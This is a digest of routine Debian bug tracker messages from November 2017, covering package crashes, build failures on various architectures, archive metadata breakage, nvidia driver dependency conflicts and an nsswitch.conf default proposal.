Bug#880853: sludge-devkit: sludge-projectmanager does not start (segfault)

[mda]

Package: sludge-devkit
Version: 2.2.1-2
Severity: important

Dear Maintainer,

Thank you for your great work on sludge.

sludge-projectmanager fails with segfault on start on my machine running Debian 
9 (upgraded, only main repository) with MATE. Curiously, I have no such a 
problem on another machine running Debian 9 with GNOME.

After some debugging, I think the problem is that variable numResources in 
SludgeProjectManager.cpp is not initialized, and thus function clearFileList in 
project.cpp segfaults. Adding "numResources = 0;" in line 59 of 
SludgeProjectManager.cpp fixed the problem for me.

It would be great if a fixed package were distributed through updates in 
stable. Thank you!


-- System Information:
Debian Release: 9.2
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.9.0-4-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages sludge-devkit depends on:
ii  libatk1.0-0   2.22.0-1
ii  libc6 2.24-11+deb9u1
ii  libcairo2 1.14.8-1
ii  libfontconfig12.11.0-6.7+b1
ii  libfreetype6  2.6.3-3.2
ii  libgcc1   1:6.3.0-18
ii  libgdk-pixbuf2.0-02.36.5-2+deb9u1
ii  libgl1-mesa-glx [libgl1]  13.0.6-1+b2
ii  libglee0d15.4.0-2
ii  libglib2.0-0  2.50.3-2
ii  libglu1-mesa [libglu1]9.0.0-2.1
ii  libgtk2.0-0   2.24.31-2
ii  libgtkglext1  1.2.0-4
ii  libice6   2:1.0.9-2
ii  libpango-1.0-01.40.5-1
ii  libpangocairo-1.0-0   1.40.5-1
ii  libpangoft2-1.0-0 1.40.5-1
ii  libpangox-1.0-0   0.0.2-5+b2
ii  libpng16-16   1.6.28-1
ii  libsm62:1.2.2-1+b3
ii  libstdc++66.3.0-18
ii  libx11-6  2:1.6.4-3
ii  libxmu6   2:1.1.2-2
ii  libxt61:1.1.5-1
ii  sludge-engine 2.2.1-2+b1

Versions of packages sludge-devkit recommends:
ii  sludge-doc  2.2.1-2

Versions of packages sludge-devkit suggests:
pn  gedit
ii  sludge-compiler  2.2.1-2+b1

-- no debconf information

Bug#880852: lr: FTBFS on hurd-i386: PATH_MAX undeclared

[Aaron M. Ucko]

Source: lr
Version: 1.1-1
Severity: important
Tags: upstream
Justification: fails to build from source
User: debian-h...@lists.debian.org
Usertags: hurd-i386

The build of lr for hurd-i386 (admittedly not a release architecture)
failed because it lacks a predefined PATH_MAX:

  lr.c:899:16: error: 'PATH_MAX' undeclared (first use in this function); did 
you mean '_PATH_MAN'?
static char b[PATH_MAX];

Best practice is to attempt to work with whatever paths you meet,
since a fixed-size buffer will in general either waste some memory or
lead to truncation (or worse, overflows).  However, if that's somehow
infeasible, you can also look up _PC_PATH_MAX via pathconf or supply a
fallback constant, typically 4096.

Could you please take a look?

Thanks!

-- 
Aaron M. Ucko, KB1CJC (amu at alum.mit.edu, ucko at debian.org)
http://www.mit.edu/~amu/ | http://stuff.mit.edu/cgi/finger/?a...@monk.mit.edu

Bug#810890:

[Adam Baxter]

Any updates on this? Can those involved push any work in progress to GitHub
/ GitLab?

Bug#880851: libva: FTBFS on non-Linux: __NR_gettid undeclared

[Aaron M. Ucko]

Source: libva
Version: 1.8.3-2
Severity: important
Tags: upstream
Justification: fails to build from source (but built successfully in the past)
User: debian-...@lists.debian.org
Usertags: kfreebsd

Builds of libva for kfreebsd-* (admittedly not release architectures)
have been failing lately:

  va_trace.c: In function 'add_trace_config_info':
  va_trace.c:294:28: error: '__NR_gettid' undeclared (first use in this 
function); did you mean '__getpgid'?
   pid_t thd_id = syscall(__NR_gettid);

(plus a few more uses further down in va_trace.c).  Builds for
hurd-i386 (not a release architecture) are blocked on the
unavailability of libdrm-dev there, but will presumably encounter the
same error if and when it ever becomes available.

Could you please take a look?

Thanks!

-- 
Aaron M. Ucko, KB1CJC (amu at alum.mit.edu, ucko at debian.org)
http://www.mit.edu/~amu/ | http://stuff.mit.edu/cgi/finger/?a...@monk.mit.edu

Bug#880652: appstream.debian.org: silent archive breakage from appstream-generator

[Matthias Klumpp]

2017-11-03 11:34 GMT+01:00 Julien Cristau :
> On 11/03/2017 11:25 AM, Julien Cristau wrote:
>> Package: appstream
>> Severity: grave
>> X-Debbugs-Cc: ftpmas...@ftp-master.debian.org
>>
>> [filing this against the appstream package as a substitute for
>> appstream.debian.org, feel free to reassign if there's a better place]

Thanks! The appstream-generator package is a much better place for
this bug. I'll also reduce the severity of this bug ti important, so
it doesn't impact the package in testing, as this issue appears only
in Debian so far.

>> Hi,
>>
>> there's some archive breakage because
>> dists/sid/non-free/dep11/Components-amd64.yml.xz and
>> dists/sid/non-free/dep11/Components-amd64.yml.gz are out of sync.  It
>> looks like appstream-generator silently failed to write the xz version
>> and left a mess in
>> /srv/appstream.debian.org/workspace/public/data/sid/non-free/ on mekeel.
>>  This should be made more robust, and any failure should mean nothing
>> gets published rather than risking out of sync metadata.

Agreed. I guess I could rsync the files locally to a separate location
for the archive to fetch them from (this might require a small patch
to dak though).

> from the log (reordered for clarity):
>
> 2017-11-02 21:20:13 - INFO: Writing metadata for sid/non-free [amd64]
> object.Exception@../src/asgen/zarchive.d(448): Unable to open file
> '/srv/appstream.debian.org/workspace/public/data/sid/non-free/Components-amd64.yml.xz.new':
> lzma compression failed: lzma_code() call returned status 11

I've seen this one once before, and I have no idea how this issue
could be triggered. Some other people seem to get status 11 when
writing to a directory they don't have permission to, or when the disk
is full (that's not the case here).
A thing that would definitely help to rule out some issues is to apply
the patch I've sent to the DSA to change the metapackage for mekeel,
so I can finally drop the remaining vendored libraries and start
compiling the binary on the server.

I've also adjusted the generator to be slightly less greedy when
caching data and I've run it multiple times without hitting any issue
- even the memory usage was quite low.
Additionally, I've split the data extraction phase from a per-suite
run to a per-component run. This is less efficient (the generator will
run longer, because it has to reinitialize its icon-lookup table and
cache three times instead of once and has to update some statistical
data multiple times), but ensures that we finalize the LMDB cache
faster and keep a bit less stuff in memory, so the memory usage should
be reduced even more.
This feature was originally created to make asgen testing easier, but
it makes sense to use it at Debian.
This will help in general, but I have no idea on whether this issue is
actually the result of any out-of-memory situation - I think that's
not the case, but I also have no other idea what the problem could be
here. I have only seen this issue two times and I have never been able
to reproduce it.
There is also a (really small) chance that this is a bug in libarchive.

Anyway, I have scheduled a full reprocessing of archive metadata,
let's see what happens (those full data updates are usually the runs
that take huge amounts of memory and are more likely to fail (although
that never happens locally)).

Cheers,
Matthias

Bug#880850: beads: FTBFS: Qt5LinguistTools not found

[Aaron M. Ucko]

Source: beads
Version: 1.1.13+dfsg-1
Severity: serious
Justification: fails to build from source

Greetings.

Builds of beads in minimal environments (as on the autobuilders) have
been failing with errors along the lines of

  CMake Error at /usr/lib/i386-linux-gnu/cmake/Qt5/Qt5Config.cmake:28 
(find_package):
Could not find a package configuration file provided by "Qt5LinguistTools"
with any of the following names:
  
  Qt5LinguistToolsConfig.cmake
  qt5linguisttools-config.cmake
  
Add the installation prefix of "Qt5LinguistTools" to CMAKE_PREFIX_PATH or
set "Qt5LinguistTools_DIR" to a directory containing one of the above
files.  If "Qt5LinguistTools" provides a separate development package or
SDK, be sure it has been installed.

Please try replacing the build dependency on qttools5-dev-tools with
qttools5-dev (which depends on -tools) and checking with pbuilder or
the like that the change helped and proved sufficient.

Thanks!

-- 
Aaron M. Ucko, KB1CJC (amu at alum.mit.edu, ucko at debian.org)
http://www.mit.edu/~amu/ | http://stuff.mit.edu/cgi/finger/?a...@monk.mit.edu

Bug#880645: wrong content in xz-compressed dep11 Components files (outdated)

[Matthias Klumpp]

2017-11-03 11:26 GMT+01:00 Ansgar Burchardt :
> Julian Andres Klode writes:
> [...]
>>> E: Failed to fetch 
>>> store:/var/lib/apt/lists/partial/mirrors.wikimedia.org_debian_dists_unstable_non-free_dep11_Components-amd64.yml.xz
>>>   Hash Sum mismatch
>>>Hashes of expected file:
>>> - Filesize:65721 [weak]
>>> - 
>>> SHA256:0eb5ea70b4c46a7c0889e9601d16cedf3eb4ff55bf3b77ef2af2bcd3dcf48cec
>>> - MD5Sum:68fdfbc3bc806010ba4c9fc8d4cb133b [weak]
>>>Hashes of received file:
>>> - 
>>> SHA256:5fa520cd26eac94e183632f84371643219fdf905dfd351b53bbcd7afa5c3b848
>>> - MD5Sum:875dd6824d698bfa73c6517307f692f5 [weak]
>>> - Filesize:65721 [weak]
>>>Last modification reported: Mon, 30 Oct 2017 21:09:03 +
>>>Release file created at: Fri, 03 Nov 2017 02:41:19 +
>>> E: Some index files failed to download. They have been ignored, or old ones 
>>> used instead.
>>> ```
>>>
>> The archive is broken, .xz contains different content than .gz - writing the 
>> .xz file
>> failed. The are several .xz.new files, so I expect some of the other files 
>> are broken
>> too.
>
> The appstream generator crashed and left inconsistent output data
> (updates .gz, but old .xz) already on mekeel.d.o...  That is really not
> nice: the data synced into the archive should really be in a staging
> location and only be updated once the generator finished successfully.
>
> CC'ed mak@ as he maintains the appstream generator.

Hmm, I didn't know APT would have issues with this - I guess to be
safe it would make sense to rsync the data directory to a place where
dak can fetch it from after appstream-generator has finished
successfully.
Alternatively, I could maybe change the code so the contents of the
.gz/.xz files are ensured to be always identical.

In any case, there is bug#880645 to track this now.

Cheers,
Matthias


-- 
I welcome VSRE emails. See http://vsre.info/

Bug#880551: xterm: corrections to man page

[G. Branden Robinson]

Hi Thomas,

At 2017-11-02T04:55:25-0400, Thomas Dickey wrote:
> thanks - someone reported a problem with the same macro in ncurses.
> (I'll have to make a script to check for other instances, since I've
> used bullets in a lot of places - I've a to-do item for that anyway).

Thanks to a bug in gropdf, I discovered a problem with the patch in this
part:

17. Use character escape '\e' instead of '\\' in resource translation
examples.  '\\' does not render as desired and makes the examples
wrong.

The \\ problem is indeed a problem but my fix was wrong thanks to:

https://savannah.gnu.org/bugs/index.php?51568

Once I have it ready, would you prefer a whole new diff against
xterm-330, or something else?

-- 
Regards,
Branden


signature.asc
Description: PGP signature

Bug#880366: uim-data: broken symlinks: /usr/share/uim/pixmaps/m17n-*-*.png -> ../../m17n/icons/*-*.png

[dai]

Control: tags -1 + pending

fixed in git.debian.org: 
https://anonscm.debian.org/cgit/collab-maint/uim.git/commit/?id=abc8259727304d9bc3e42257f54985d4d5d72a42
-- 
Regards,
dai

GPG Fingerprint = 0B29 D88E 42E6 B765 B8D8 EA50 7839 619D D439 668E


signature.asc
Description: PGP signature

Bug#878883: patch

[Kevin Cernekee]

Hi,

I merged the patches and was planning to do an 0.92 upstream release.

Bug#880591: RFS: jieba/0.39-1 [ITP]

[Adam Borowski]

On Thu, Nov 02, 2017 at 11:33:24PM +0800, Yangfl wrote:
> * Package name: jieba
>  Version : 0.39-1
> 
> It builds those binary packages:
> 
>   python-jieba - Jieba Chinese text segmenter (Python 2)
> python-jieba-doc - Jieba Chinese text segmenter (common documentation)
> python3-jieba - Jieba Chinese text segmenter (Python 3)

Also fails to build, with a lot of:
UnicodeEncodeError: 'ascii' codec can't encode character u'\u8fd9' in position 
0: ordinal not in range(128)

This kind of problem is typical for Python 2 -- but, why would you introduce
a new package with python2 bindings when we're actively trying to get rid of
it?


喵!
-- 
⢀⣴⠾⠻⢶⣦⠀ Laws we want back: Poland, Dz.U. 1921 nr.30 poz.177 (also Dz.U. 
⣾⠁⢰⠒⠀⣿⡁ 1920 nr.11 poz.61): Art.2: An official, guilty of accepting a gift
⢿⡄⠘⠷⠚⠋⠀ or another material benefit, or a promise thereof, [in matters
⠈⠳⣄ relevant to duties], shall be punished by death by shooting.

Bug#880689: [Pkg-rust-maintainers] Bug#880689: dh-cargo: installs too much for libpkg

[Ralph Giles]

On 2017-11-04 11:13 AM, Jonas Smedegaard wrote:


You snipped the parted clarifying that the .pc came not from upstream
but was created during my Debian package build:


The ".pc" directory, created during build by a packaging helper tool,
should certainly not be installed.


Oops, I see that now. Sorry for confusing the discussion. I'm new here 
too, and just wanted to offer what I knew from the Rust side.


 -r

Bug#878883: patch

[Jeremy Bicha]

Mike,

Could you do an NMU for this RC bug? I see you've done other uploads
for this package previously.

Thanks,
Jeremy Bicha

Bug#879261:

[Alex Henry]

Just wanted to apologize for my last message since I missed the "Fixed in
version nvidia-graphics-drivers/375.82-8" message in the header. It also
only seems to have been marked as a resolved bug (bugtracker category) as I
was writing it. I'll wait for 375.82-8 to trickle down to testing and try
to install it again and report here.

Also, usually the bug tracker adds an internal message to the report once
the bug is resolved, not sure why it didn't happen here? Maybe it doesn't
work like that anymore...

Anyway, thanks for the fix, looking forward to having my nvidia driver
fully functional again soon!

Bug#880849: Snowball analyzer missing

[Ahmed El-Mahmoudy]

Package: liblucene3-contrib-java
Severity: normal

Hello,

  Snowball analyzer is missing from lucene3 java packages, althougb upstream
  website mentions that Snowball analyzer as part of the API: 
 
https://lucene.apache.org/core/3_0_3/api/contrib-snowball/org/apache/lucene/analysis/snowball/SnowballAnalyzer.html

-- 
‎أحمد المحمودي (Ahmed El-Mahmoudy)
 Digital design engineer
GPG KeyIDs: 4096R/A7EF5671 2048R/EDDDA1B7
GPG Fingerprints:
 6E2E E4BB 72E2 F417 D066  6ABF 7B30 B496 A7EF 5761
 8206 A196 2084 7E6D 0DF8  B176 BC19 6A94 EDDD A1B7


signature.asc
Description: Digital signature

Bug#879261:

[Alex Henry]

I have also recently encountered problems with the nvidia-driver-libs
dependencies on previous updates in my buster system (Debian testing) but
somehow managed to work around it by using one of the alternative
dependency options: I am currently using libgl1-nvidia-glx (instead of
libgl1-nvidia-glvnd-glx) and libegl1-nvidia (instead of nvidia-egl-icd). I
tried figuring out the root of the issue at the time so as to report a bug
here but really couldn't since the dependency tree for the driver's
libraries is quite complex and eventually just went with the "alternative
options" route instead, through the aforementioned packages.

However, when trying to upgrade my system today, I have come across an
issue that is much more punctual and thus easier to report, which might
have been the core of the problem all along (or not, I don't know). The
root problem is that even though libglvnd0-nvidia indicates that it
replaces libglvnd0, apt somehow doesn't seem to take that into account.
Trying to remove both amd64 and i386 versions of libglvnd0 and attempting
to install the two version of libglvnd0-nvidia instead, which should be a
simple and straightforward operation since the second claims to replace the
first, instead causes 7 broken dependencies on my system (seen via the
aptitude package manager) - among which is libegl1, for example.

I am not sure why this is happening but my hunch would be that
libglvnd0-nvidia and libglvnd0-nvidia:i386 state that they both "replace"
AND "conflict" with their standard libglvnd0 versions. I imagine this could
confuse apt because it would then assume that "this package cannot ever be
installed because it conflicts with a package used by so many other
programs", which in turn leads it to ignore the actual "replaces" field.

Anyway, whatever the real cause of the problem is, the fact is that, for
all practical purposes, libglvnd0-nvidia is not able to replace libglvnd0
in my system - and the same for their i386 versions.

If the maintainers could please look into this issue and try to solve it,
it would be much appreciated, since, of course, I would want to have the
nvidia version of the library installed since I assume it is enhanced to
make use of the accelerated hardware. Also as it stands, libglvnd0-nvidia
seems to be completely worthless as a package right now, since it cannot be
installed, which for me sounds like a grave problem (as far as the Debian
bug reporting guidelines define "grave": "makes the package in question
unusable or mostly so").

Thank you for the excellent nvidia support on Debian and I'm certainly
happy that I can currently keep using the non-nvidia library version
(instead of just having the driver break entirely) - but please consider
looking into this issue (even if only to realize it's an apt bug instead,
which we should also report, if that's indeed the case). Let me know if I
can help in any other way.

Lastly, this bug is breaking routine upgrading in multiple system thats
nvidia-driver (mine's and the original reporter's, at the very least) so
please consider that this might be affecting a big number of Debian users
who rely on these official Debian packages.

Bug#880848: python3-rtmidi still depends on librtmidi3 after binnmu.

[peter green]

package: python3-rtmidi
serverity: serious

After being binnmu'd for the rtmidi transition python3-rtmidi still depends on 
the old librtmidi3. I guess the dependency is hardcoded rather than 
auto-generated and hence need manual attention.

Bug#795492: New upstream series (soname 2.5), please package it

[Christoph Biedl]

Control: block 854409 by 795492

Zhang Jingqiang wrote...

> Still no activities?

Any progress on this? The tang package needs a newer version of
http_parser.h to build, and I'm not at all keen on shipping a code
copy.

Christoph


signature.asc
Description: Digital signature

Bug#880523: remove python3.5 from the archive

[Emilio Pozuelo Monfort]

retitle 880523 transition: python3.5 removal
forwarded 880523 https://release.debian.org/transitions/html/python3.5-rm.html
tags 880523 confirmed
user release.debian@packages.debian.org
usertags 880523 transition
thanks

On 01/11/17 11:38, Matthias Klose wrote:
> Package: release.debian.org
> 
> python3.6 is now the default python3 version. python3.5 needs to be dropped 
> and
> removed. Please schedule binNMUs to drop 3.5 as a supported python3 version.

Please use reportbug next time. binnmus scheduled, there's a bunch of arch:all
packages that need rebuilds though.

Cheers,
Emilio

Bug#880847: evince: segfaults on changed pdf - synctex related

[Norbert Preining]

Package: evince
Version: 3.26.0-1
Severity: important

evince consistenly crashes when the currently opened pdf file is
recompiled. The crash happens in synctex code. Here is a backtrace with
all dbgsyms installed:
(gdb) bt
#0  0x7fffd00fd6f0 in ?? ()
#1  0x77bbd0b5 in _synctex_free_input (node=0x7fffd00d1870)
at synctex_parser.c:736
#2  0x77bbd0b5 in _synctex_free_input (node=0x7fffd00d18f0)
at synctex_parser.c:736
#3  0x77bbd0b5 in _synctex_free_input (node=0x7fffd00d1970)
at synctex_parser.c:736
#4  0x77bbd0b5 in _synctex_free_input (node=0x7fffd00d19f0)
at synctex_parser.c:736
#5  0x77bbd0b5 in _synctex_free_input (node=0x7fffd00d1a70)
at synctex_parser.c:736
#6  0x77bbd0b5 in _synctex_free_input (node=0x7fffd01769b0)
at synctex_parser.c:736
#7  0x77bc295f in synctex_scanner_free (scanner=0x7fffd0065140)
at synctex_parser.c:2917
#8  0x77bb3fb4 in ev_document_finalize (object=0x55a31ea0)
at ev-document.c:127
#9  0x7550eeb2 in g_object_unref (_object=0x55a31ea0)
at ../../../../gobject/gobject.c:3330
#10 0x5558bdbe in ev_window_set_document (document=0x7fffd00250e0,
ev_window=0x559fa4f0) at ev-window.c:1536
#11 ev_window_document_changed_cb (model=,
pspec=, ev_window=0x559fa4f0) at ev-window.c:4769
#12 0x75509f9d in g_closure_invoke (closure=0x55d69b60,
return_value=0x0, n_param_values=2, param_values=0x7fffd4b0,
invocation_hint=0x7fffd430) at ../../../../gobject/gclosure.c:804
#13 0x7551ccae in signal_emit_unlocked_R (
node=node@entry=0x557d1720, detail=detail@entry=1258,
instance=instance@entry=0x559fbea0,
emission_return=emission_return@entry=0x0,
instance_and_params=instance_and_params@entry=0x7fffd4b0)
at ../../../../gobject/gsignal.c:3635
#14 0x75525485 in g_signal_emit_valist (instance=0x559fbea0,
signal_id=, detail=1258,
var_args=var_args@entry=0x7fffd680)
at ../../../../gobject/gsignal.c:3391
#15 0x75525e9f in g_signal_emit (
instance=instance@entry=0x559fbea0, signal_id=,
detail=) at ../../../../gobject/gsignal.c:3447
#16 0x7550e464 in g_object_dispatch_properties_changed (
object=0x559fbea0, n_pspecs=, pspecs=)
at ../../../../gobject/gobject.c:1080
#17 0x75510839 in g_object_notify_by_spec_internal (
pspec=0x559d9680, object=0x559fbea0)
at ../../../../gobject/gobject.c:1173
#18 g_object_notify (object=0x559fbea0,
property_name=0x7798a194 "document")
at ../../../../gobject/gobject.c:1221
#19 0x5558968c in ev_window_reload_job_cb (job=0x55cd0c50,
ev_window=0x559fa4f0) at ev-window.c:1784
#20 0x75509f9d in g_closure_invoke (closure=0x56016720,
return_value=0x0, n_param_values=1, param_values=0x7fffd9b0,
invocation_hint=0x7fffd930) at ../../../../gobject/gclosure.c:804
#21 0x7551ccae in signal_emit_unlocked_R (
node=node@entry=0x55e5b100, detail=detail@entry=0,
instance=instance@entry=0x55cd0c50,
emission_return=emission_return@entry=0x0,
instance_and_params=instance_and_params@entry=0x7fffd9b0)
at ../../../../gobject/gsignal.c:3635
#22 0x75525485 in g_signal_emit_valist (instance=0x55cd0c50,
signal_id=, detail=0,
var_args=var_args@entry=0x7fffdb70)
at ../../../../gobject/gsignal.c:3391
#23 0x75525e9f in g_signal_emit (instance=,
signal_id=, detail=)
at ../../../../gobject/gsignal.c:3447
#24 0x77961f03 in ?? () from /usr/lib/x86_64-linux-gnu/libevview3.so.3
#25 0x75230e15 in g_main_dispatch (context=0x557fbe20)
at ../../../../glib/gmain.c:3148
#26 g_main_context_dispatch (context=context@entry=0x557fbe20)
at ../../../../glib/gmain.c:3813
#27 0x752311e0 in g_main_context_iterate (
context=context@entry=0x557fbe20, block=block@entry=1,
dispatch=dispatch@entry=1, self=)
at ../../../../glib/gmain.c:3886
#28 0x7523126c in g_main_context_iteration (
context=context@entry=0x557fbe20, may_block=may_block@entry=1)
at ../../../../glib/gmain.c:3947
#29 0x75a12bed in g_application_run (application=0x558b2100,
argc=, argv=)
at ../../../../gio/gapplication.c:2401
#30 0x55573c18 in main (argc=, argv=)
at main.c:316


-- System Information:
Debian Release: buster/sid
  APT prefers unstable-debug
  APT policy: (500, 'unstable-debug'), (500, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.14.0-rc7 (SMP w/8 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages evince depends on:
ii  dconf-gsettings-backend [gsettings-backend]  0.26.1-1
ii  evince-common   

Bug#880846: debian-installer: compat is not suitable as the default in /etc/nsswitch.conf

[Russell Coker]

Package: debian-installer
Severity: minor

https://cdimage.debian.org/cdimage/daily-builds/daily/arch-latest/amd64/iso-cd/

I just did an install from the image downloaded from the above URL using
debootstrap.  I'm not sure if this bug applies to debian-installed,
debootstrap, or both.

When I installed it the /etc/nsswitch.conf file had the following entries:
passwd: compat
group:  compat
shadow: compat

According to nsswitch.conf(5) the "compat" line is to enable entries that
start with "+" or "-" for special NIS operations.

The benefit in having compat as the default is minor even for the tiny minority
of users who have NIS enabled.  Putting in compat entries in /etc/nsswitch.conf
is a tiny part of the work required to enable NIS.  I don't think that people
who use NIS would find it an inconvenience to have "files" as the default.

Currently we are having a discussion on the SE Linux policy mailing list about
the permission for memory mapping files.  /lib/libnss_compat.so.X needs to
map them which means that most domains need map access to etc_t while
/lib/libnss_files.so.X doesn't map them and doesn't need such access.

By default I advocate for changing SE Linux policy rather than changing system
configuration.  But in this case I can't see any downside in making the default
to use "files".  Having less complex parsing of those files seems like a good
benefit too.  As a general rule less complex code will tend to have fewer
security issues.


-- System Information:
Debian Release: buster/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.13.0-1-amd64 (SMP w/8 CPU cores)
Locale: LANG=en_AU.UTF-8, LC_CTYPE=en_AU.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_AU:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Bug#880589: RFS: toxcore/0.1.10-1 [ITP]

[Adam Borowski]

On Thu, Nov 02, 2017 at 11:32:50PM +0800, Yangfl wrote:
> * Package name: toxcore
>  Version : 0.1.10-1
> 
> It builds those binary packages:
> 
>   libtox-dev - distributed, secure messenger with a/v support - development 
> head
> libtoxav-dev - distributed, secure messenger w/ a/v support - a/v development 
> he
> libtoxav1  - distributed, secure messenger w/ a/v support - a/v runtime files
> libtoxcore-dev - distributed, secure messenger w/ a/v support - core
> development h
> libtoxcore1 - distributed, secure messenger with a/v support - core runtime 
> lib
> libtoxdns-dev - distributed, secure messenger w/ a/v support - dns
> development he
> libtoxdns1 - distributed, secure messenger w/ a/v support - dns runtime files
> libtoxencryptsave-dev - distributed, secure messenger w/ a/v support -
> crypto development
> libtoxencryptsave1 - distributed, secure messenger w/ a/v support -
> crypto runtime fil

I did not even start a real review, but the package fails to build:

.
   dh_install
dh_install: Cannot find (any matches for) "usr/lib/*/libtoxav.so.1*" (tried in 
., debian/tmp)

dh_install: libtoxav1 missing files: usr/lib/*/libtoxav.so.1*
dh_install: Cannot find (any matches for) "usr/include/tox/toxav.h" (tried in 
., debian/tmp)

dh_install: libtoxav-dev missing files: usr/include/tox/toxav.h
dh_install: Cannot find (any matches for) "usr/lib/*/libtoxav.so" (tried in ., 
debian/tmp)

dh_install: libtoxav-dev missing files: usr/lib/*/libtoxav.so
dh_install: Cannot find (any matches for) "usr/lib/*/pkgconfig/libtoxav.pc" 
(tried in ., debian/tmp)

dh_install: libtoxav-dev missing files: usr/lib/*/pkgconfig/libtoxav.pc
dh_install: missing files, aborting
debian/rules:18: recipe for target 'binary' failed
make: *** [binary] Error 25
dpkg-buildpackage: error: fakeroot debian/rules binary subprocess returned exit 
status 2
`


Full log attached.

-- 
⢀⣴⠾⠻⢶⣦⠀ Laws we want back: Poland, Dz.U. 1921 nr.30 poz.177 (also Dz.U. 
⣾⠁⢰⠒⠀⣿⡁ 1920 nr.11 poz.61): Art.2: An official, guilty of accepting a gift
⢿⡄⠘⠷⠚⠋⠀ or another material benefit, or a promise thereof, [in matters
⠈⠳⣄ relevant to duties], shall be punished by death by shooting.
sbuild (Debian sbuild) 0.73.0 (23 Dec 2016) on umbar.angband.pl

+==+
| toxcore 0.1.10-1 (amd64) Sun, 05 Nov 2017 00:25:47 + |
+==+

Package: toxcore
Version: 0.1.10-1
Source Version: 0.1.10-1
Distribution: unstable
Machine Architecture: amd64
Host Architecture: amd64
Build Architecture: amd64
Build Type: binary

I: NOTICE: Log filtering will replace 
'var/run/schroot/mount/unstable-amd64-sbuild-a94bf3c2-e487-4fc9-9aec-a4c6ff0f02aa'
 with '<>'

+--+
| Update chroot|
+--+

Get:1 http://apt.angband.pl:3142/debian unstable InRelease [234 kB]
Get:2 http://apt.angband.pl:3142/debian unstable/main Sources.diff/Index [27.9 
kB]
Get:3 http://apt.angband.pl:3142/debian unstable/main amd64 Packages.diff/Index 
[27.9 kB]
Get:4 http://apt.angband.pl:3142/debian unstable/main Sources 
2017-11-04-0221.36.pdiff [6753 B]
Get:5 http://apt.angband.pl:3142/debian unstable/main Sources 
2017-11-04-0819.37.pdiff [1873 B]
Get:6 http://apt.angband.pl:3142/debian unstable/main Sources 
2017-11-04-1427.03.pdiff [8218 B]
Get:7 http://apt.angband.pl:3142/debian unstable/main Sources 
2017-11-04-2025.01.pdiff [21.9 kB]
Get:8 http://apt.angband.pl:3142/debian unstable/main amd64 Packages 
2017-11-04-0221.36.pdiff [5445 B]
Get:7 http://apt.angband.pl:3142/debian unstable/main Sources 
2017-11-04-2025.01.pdiff [21.9 kB]
Get:9 http://apt.angband.pl:3142/debian unstable/main amd64 Packages 
2017-11-04-0819.37.pdiff [2144 B]
Get:10 http://apt.angband.pl:3142/debian unstable/main amd64 Packages 
2017-11-04-1427.03.pdiff [7829 B]
Get:11 http://apt.angband.pl:3142/debian unstable/main amd64 Packages 
2017-11-04-2025.01.pdiff [11.7 kB]
Get:11 http://apt.angband.pl:3142/debian unstable/main amd64 Packages 
2017-11-04-2025.01.pdiff [11.7 kB]
Fetched 356 kB in 2s (146 kB/s)
Reading package lists...
Reading package lists...
Building dependency tree...
Reading state information...
Calculating upgrade...
The following packages will be upgraded:
  libgcrypt20
1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 526 kB of archives.
After this operation, 4096 B of additional disk space will be used.
Get:1 http://apt.angband.pl:3142/debian unstable/main amd64 libgcrypt20 amd64 
1.7.9-2 [526 kB]
debconf: delaying package configuration, since apt-utils is not installed
Fetched 526 kB in 0s (7672 kB/s)
(Reading database ... 
(Reading database ... 5%
(Reading database ... 10%
(Reading database ... 

Bug#880845: python-oslo.policy: missing build dependency on python3-sphinx

[Adrian Bunk]

Source: python-oslo.policy
Version: 1.25.1-2
Severity: serious

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/arm64/python-oslo.policy.html

...
==
FAIL: unittest2.loader._FailedTest.oslo_policy.tests.test_sphinxext
unittest2.loader._FailedTest.oslo_policy.tests.test_sphinxext
--
_StringException: Traceback (most recent call last):
ImportError: Failed to import test module: oslo_policy.tests.test_sphinxext
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/unittest2/loader.py", line 456, in 
_find_test_path
module = self._get_module_from_name(name)
  File "/usr/lib/python3/dist-packages/unittest2/loader.py", line 395, in 
_get_module_from_name
__import__(name)
  File 
"/build/1st/python-oslo.policy-1.25.1/oslo_policy/tests/test_sphinxext.py", 
line 20, in 
from oslo_policy import sphinxext
  File "/build/1st/python-oslo.policy-1.25.1/oslo_policy/sphinxext.py", line 
24, in 
from sphinx.util.nodes import nested_parse_with_titles
ModuleNotFoundError: No module named 'sphinx'


--
Ran 219 tests in 4.209s

FAILED (failures=1)
debian/rules:19: recipe for target 'override_dh_auto_test' failed
make[1]: *** [override_dh_auto_test] Error 1

Bug#880655: SMB mount/umount between 2 docker containers causes kernel Oops

[Ben Hutchings]

Control: reassign -1 src:linux 4.9.51-1

On Fri, 2017-11-03 at 12:08 +0100, Fabian Holler wrote:
> Package: linux-image-4.9.0-4-amd64
> Version: 4.9.51-1
> 
> Running Samba in one docker container and mounting/umounting a SMB share of it
> in a second docker container causes a kernel Oops.
> The machine did not crash with linux-image-4.9.0-4-amd64=4.9.51-1.

That's the same version you're reporting as failing.  Which version is
working?

Ben.

> The bug can be reproduced by https://github.com/fho/docker-samba-loop.
> 
> I was also able to reproduce a kernel Oops with the docker-samba-loop scripts
> in multiple Ubuntu kernels (incl. machine crashes).
> The trace looks different on linux-image-4.9.0-4-amd64. It might be a
> different issue.
> Ubuntu bug report: 
> https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1729637
> https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1711407 might be related,
> it's about the "unregister_netdevice: waiting for lo to become free."
> messages.
> 
